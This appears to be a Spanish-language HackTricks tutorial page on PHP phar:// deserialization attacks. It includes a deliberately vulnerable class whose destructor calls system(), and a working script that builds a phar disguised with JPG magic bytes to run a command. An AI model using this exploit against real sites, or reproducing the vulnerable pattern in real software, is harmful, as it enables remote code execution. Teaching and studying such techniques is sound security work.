phar:// deserialization

Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Consejo de recompensa por errores: Regístrate en Intigriti, una plataforma premium de recompensas por errores creada por hackers, para hackers. ¡Únete a nosotros en https://go.intigriti.com/hacktricks hoy y comienza a ganar recompensas de hasta $100,000!

Los archivos Phar (PHP Archive) contienen metadatos en formato serializado, por lo tanto, al ser analizados, estos metadatos se deserializan y se puede intentar abusar de una vulnerabilidad de deserialización dentro del código PHP.

Lo mejor de esta característica es que esta deserialización ocurrirá incluso utilizando funciones de PHP que no evalúan código PHP como file_get_contents(), fopen(), file() o file_exists(), md5_file(), filemtime() o filesize().

Entonces, imagina una situación en la que puedes hacer que un sitio web en PHP obtenga el tamaño de un archivo arbitrario utilizando el protocolo phar://, y dentro del código encuentras una clase similar a la siguiente:

vunl.php
<?php
class AnyClass {
public $data = null;
public function __construct($data) {
$this->data = $data;
}

function __destruct() {
system($this->data);
}
}

filesize("phar://test.phar"); #The attacker can control this path

Puedes crear un archivo phar que, al cargarse, abusará de esta clase para ejecutar comandos arbitrarios de la siguiente manera:

create_phar.php
<?php

class AnyClass {
public $data = null;
public function __construct($data) {
$this->data = $data;
}

function __destruct() {
system($this->data);
}
}

// create new Phar
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub("\xff\xd8\xff\n<?php __HALT_COMPILER(); ?>");

// add object of any class as meta data
$object = new AnyClass('whoami');
$phar->setMetadata($object);
$phar->stopBuffering();

Note cómo los bytes mágicos de JPG (\xff\xd8\xff) se agregan al principio del archivo phar para burlar posibles restricciones de carga de archivos. Compila el archivo test.phar con:

php --define phar.readonly=0 create_phar.php

Y ejecutar el comando whoami abusando del código vulnerable con:

php vuln.php

Referencias

Consejo de recompensa por errores: ¡Regístrate en Intigriti, una plataforma premium de recompensas por errores creada por hackers, para hackers! Únete a nosotros en https://go.intigriti.com/hacktricks hoy, ¡y comienza a ganar recompensas de hasta $100,000!

Aprende a hackear AWS de cero a héroe con htARTE (Experto en Equipos Rojos de AWS de HackTricks)!

Otras formas de apoyar a HackTricks:

Última actualización